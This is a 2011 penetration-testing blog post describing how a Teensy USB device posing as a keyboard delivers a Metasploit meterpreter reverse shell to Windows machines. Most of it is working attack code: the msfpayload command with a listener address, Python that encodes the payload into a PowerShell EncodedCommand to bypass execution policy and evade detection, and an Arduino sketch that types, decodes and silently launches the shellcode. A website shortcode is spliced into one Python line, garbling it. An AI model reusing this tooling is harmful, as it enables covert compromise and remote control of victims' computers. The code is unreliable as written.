Skip to Main Content
August 03, 2011

Arduino Hacking for the Big Boys Part 1

Written by David Kennedy
Penetration Testing Security Testing & Analysis
Last year at BSIDES, Blackhat, and Defcon; Josh Kelley (@winfang98) and myself released some cool research around weaponizing the Teensy device. This really consisted of leveraging the Teensy (http://www.prjc.com) as an emulated keyboard with the ability to deploy payloads. This all originally started when Irongeek (http://www.irongeek.com/) was messing with the Teensy to do wicked stuff and as a penetration tester I thought it had a ton of potential for other things. Last year we released the ability for the Teensy device to drop a VBS/Powershell download stage which would go out to a website, download the payload, then execute. While a cool feat, we started playing with different avenues on how to deploy executables through the Teensy device purely through keyboard emulation. We started off about a week or two afterward Defcon 18 with the ability to deploy PDF files, HTML files, and things like that however never really got to the pure executable. We started to think about a different way to do it. It initially started off with an insanely small bind shell ripped from somewhere and converted that to an executable. This worked, but pretty lame. The reason we had to do a small bind shell was because of the storage capabilities of the Teensy device. The standard Teensy only has 47K of flash memory while the Teensy++ only has 130K. So what we attempted to do was take a Metasploit-based stager meterpreter payload and convert that to hex or base64 and have it re-converted back. In order to do this we would either need to use VBS or PowerShell. We pondered back and forth and for us, PowerShell was the best option as it is installed by default on all new operating systems and almost always installed on older ones. There is some major added benefit to this as you'll see later on. So the first step is to create a Metasploit meterpreter payload:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.32.137 LPORT=443 X > moo.exe && upx -9 -o packed.exe moo.exe
root@bt:~# ls -l packed.exe
-rw-r--r-- 1 root root 47616 2011-07-26 11:13 packed.exe
This will create a packed.exe file that is upx packed for maximum compression. It ends up being around 48K in size. What this means is that the normal Teensy is out of the question however the Teensy++ would not be. Now we need to convert that executable into hex with a couple lines of Python:

#!/usr/bin/python
fileopen = file("packed.exe", "rb")
data = fileopen.read()
print binascii.hexlify(data)
From here we have our hex representation of a Metasploit meterpreter reverse_tcp shell that is around 48K. The next thing we need to do is take that hex representation and get a PowerShell decoder ready. The below code will make a powershell command and convert it to unicode first, then base64 encode it and pass it through powershell's encodedcommand which will bypass execution restriction policies on the system. Now here is a weird one, in order to convert the command to unicode+base64 for encodedcommand, it needs to be massaged a bit with Python. If you look at how Unicode works normally, null byte terminators are placed after every byte, Python does not do this... So we need to manually insert null byte terminators after each byte. Code below:

import binascii,random,string,base64

# randomize values to evade static detection
def generate_random_string(low,high):
        length=random.randint(low,high)
        letters=string.ascii_letters+string.digits
        return ''.join([fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][random.choice(letters) for _ in range(length)])

# generate a random string
random_filename = generate_random_string(10,15)

# our hex binary
shell_exec = "4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000ad632ba8e90245fbe90245fbe90245fbcec43efbeb0245fbcec42bfbe80245fbcec438fbe80245fbcec428fbfd0245fb2a0d18fbea0245fbe90244fbc20245fbcec434fbe80245fbcec43dfbe80245fb52696368e90245fb0000000000000000504500004c010300b1aca94d0000000000000000e00003010b010"

# our powershell conversion from hex to an executable, convert to unicode first
powershell_command = unicode("$s=gc "$HOMEAppDataLocalTemp%s";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace" % (random_filename) +
                             "('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($" +
                             "($_*2),2),16)};[IO.File]::WriteAllBytes("$HOMEAppDataLocalTemp%s.exe",$b)" % (random_filename))

#
# there is an odd bug with python unicode, traditional unicode inserts a null byte after each character typically.. 
# python does not so the encodedcommand becomes corrupt in order to get around this a null byte is pushed to each 
# string value to fix this and make the encodedcommand work properly
#

# blank command will store our fixed unicode variable
blank_command = ""
# loop through each character and insert null byte
for char in powershell_command:
        # insert the nullbyte
        blank_command += char + "x00"

# assign powershell command as the new one
powershell_command = blank_command
# base64 encode the powershell command
powershell_command = base64.b64encode(powershell_command)
The above code will have everything we need to make it successful. Now unfortunately when the output code was generated into a PDE Arduino format, it was over the Teensy++ size allowance. Bummer. So now we were back to square one. Then I thought of an idea on using shellcodeexec (https://github.com/inquisb/shellcodeexec) which is relatively small and have the ability to leverage purely ascii based shellcode, never write to disk, and have the capabilities of deploying any payload in Metasploit we wanted. Fortunately, custom compiled with some stuff removed we got the binary down to about 4,300kb. Well under both sizes of the Teensy and the Teensy++! Ultimately, this worked like a champ, final code here:

/* Teensy Hex to File Created by Josh Kelley (winfang) and Dave Kennedy (ReL1K)*/
#include 
prog_char RevShell_0[] PROGMEM = "4d5a90000300000004000000ffff0000b80000000000000040";
prog_char RevShell_1[] PROGMEM = "00000000000000000000000000000000000000000000000000";
prog_char RevShell_2[] PROGMEM = "00000000000000000000e00000000e1fba0e00b409cd21b801";
prog_char RevShell_3[] PROGMEM = "4ccd21546869732070726f6772616d2063616e6e6f74206265";
prog_char RevShell_4[] PROGMEM = "2072756e20696e20444f53206d6f64652e0d0d0a2400000000";
prog_char RevShell_5[] PROGMEM = "000000ad632ba8e90245fbe90245fbe90245fbcec43efbeb02";

PROGMEM const char *exploit[] = {
RevShell_0,
RevShell_1,
RevShell_2,
RevShell_3,
RevShell_4,
RevShell_5,


char buffer[55];
int ledPin = 11;

void setup() { 
  pinMode(ledPin, OUTPUT);
}
void loop()
{
  BlinkFast(2);
  delay(5000);
  CommandAtRunBar("cmd /c echo 0 > %TEMP%yfc4Jc45N2x");
  delay(750);
  CommandAtRunBar("notepad %TEMP%yfc4Jc45N2x");
  delay(1000);
  // Delete the 0
  Keyboard.set_key1(KEY_DELETE);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  // Write the binary to the notepad file
  int i;
  for (i = 0; i < sizeof(exploit)/sizeof(int); i++) {
    strcpy_P(buffer, (char*)pgm_read_word(&(exploit[i])));
    Keyboard.print(buffer);
    delay(80);
  } 
  // ADJUST THIS DELAY IF HEX IS COMING OUT TO FAST!
  delay(5000);
  CtrlS();
  delay(2000);
  AltF4();
  delay(5000);
  // Cannot pass entire encoded command because of the start run length
  // run through cmd
  CommandAtRunBar("cmd");
  delay(1000);
  Keyboard.println("powershell -EncodedCommand JABzAD0AZwBjACAAIgAkAEgATwBNAEUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHkAZgBjADQASgBjADQANQBOADIAeAAiADsAJABzAD0AWwBzAHQAcgBpAG4AZwBdADoAOgBKAG8AaQBuACgAJwAnACwAJABzACkAOwAkAHMAPQAkAHMALgBSAGUAcABsAGEAYwBlACgAJwBgAHIAJwAsACcAJwApADsAIAAkAHMAPQAkAHMALgBSAGUAcABsAGEAYwBlACgAJwBgAG4AJwAsACcAJwApADsAJABiAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJAAoACQAcwAuAEwAZQBuAGcAdABoAC8AMgApADsAMAAuAC4AJAAoACQAYgAuAEwAZQBuAGcAdABoAC0AMQApAHwAJQB7ACQAYgBbACQAXwBdAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkACgAJABfACoAMgApACwAMgApACwAMQA2ACkAfQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAIgAkAEgATwBNAEUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHkAZgBjADQASgBjADQANQBOADIAeAAuAGUAeABlACIALAAkAGIAKQA=");
  delay(4000);
  Keyboard.println("echo Set WshShell = CreateObject("WScript.Shell") > %TEMP%MLD1bcG2ze.vbs");
  Keyboard.println("echo WshShell.Run chr(34) ^& "%TEMP%riDATkvBd5g2.bat" ^& Chr(34), 0 >> %TEMP%MLD1bcG2ze.vbs");
  Keyboard.println("echo Set WshShell = Nothing >> %TEMP%MLD1bcG2ze.vbs");
  Keyboard.println("echo %TEMP%yfc4Jc45N2x.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLM8MYC0GpGpCPNiM5EaN2QtNkCbVPNkV2VlLKCbEDLKT2GXTOOGPJTfP1KOTqKpLlElCQQlERTlEpO1XOTMGqXGM2XpRrCgLKPRVpNkCrElGqZpLKCpCHOuIPCDQZGqXPV0NkG8VxNkChEpC1ZsXcElRiNkEdNkC1KfEaKOP1O0LlZaZoTMGqIWVXKPT5L4ESCML8EkCMVDPuZBV8LKV8TdVaN3E6NkTLRkNkChGlEQN3NkC4LKVaXPK9QTTdGTCkCkQqQICjV1KOIpChCoCjLKGbXkMVCmPhTsEbEPEPRHCGRSTrCoPTPhRlT7VFTGKOKeX8Z0GqGpGpGYITCdPPCXQ9MPPkGpIoN5PPRpPPPPQPRpG0RpRHZJTOIOKPIoKeMGRJC5PhNLTPQ0K9CXGrEPGqOKNiXfCZTPV6V7E8NyLeT4E1IoZuK5KpRTVlIoRnC8RUXlRHXpMeNBV6IoXUCZC0PjC4V6QGE8TBIIIXQOKON5LKVVRJQPCXC0TPC0EPPVQzC0RHV8NDRsKUKOZuMCCcPjGpCfQCCgE8GrZyKxQOIoN5C1ZcTiKvMUIfRUXlISAA > %TEMP%riDATkvBd5g2.bat");
  Keyboard.println("wscript %TEMP%MLD1bcG2ze.vbs");
  delay(1000);
  Keyboard.println("exit");
  delay(9000000);
}
void BlinkFast(int BlinkRate){
  int BlinkCounter=0;
  for(BlinkCounter=0; BlinkCounter!=BlinkRate; BlinkCounter++){
    digitalWrite(ledPin, HIGH);
    delay(80);
    digitalWrite(ledPin, LOW);
    delay(80);
  }
}
void AltF4(){
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}
void CtrlS(){
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.set_key1(KEY_S);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}
// Taken from IronGeek
void CommandAtRunBar(char *SomeCommand){
  Keyboard.set_modifier(128); 
  Keyboard.set_key1(KEY_R); 
  Keyboard.send_now(); 
  Keyboard.set_modifier(0); 
  Keyboard.set_key1(0); 
  Keyboard.send_now(); 
  delay(1500);
  Keyboard.print(SomeCommand);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void PRES(int KeyCode){
Keyboard.set_key1(KeyCode);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void SPRE(int KeyCode){
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KeyCode);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}

So that's pretty cool, but we weren't exactly satisfied yet... We then soldered on an SDCard onto the Teensy device and now have the ability to read whatever filesize we want from the SDCard WITHOUT mounting it to the operating system and reading it natively through the Teensy and have it write back out as a binary. All of the attack vectors have been added to the Social-Engineer Toolkit (SET) v2.0. This is part 1 of a two part series. The next post will entail how we hacked home automation and leveraging the Arduino to do some wicked stuff with home automation. [/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]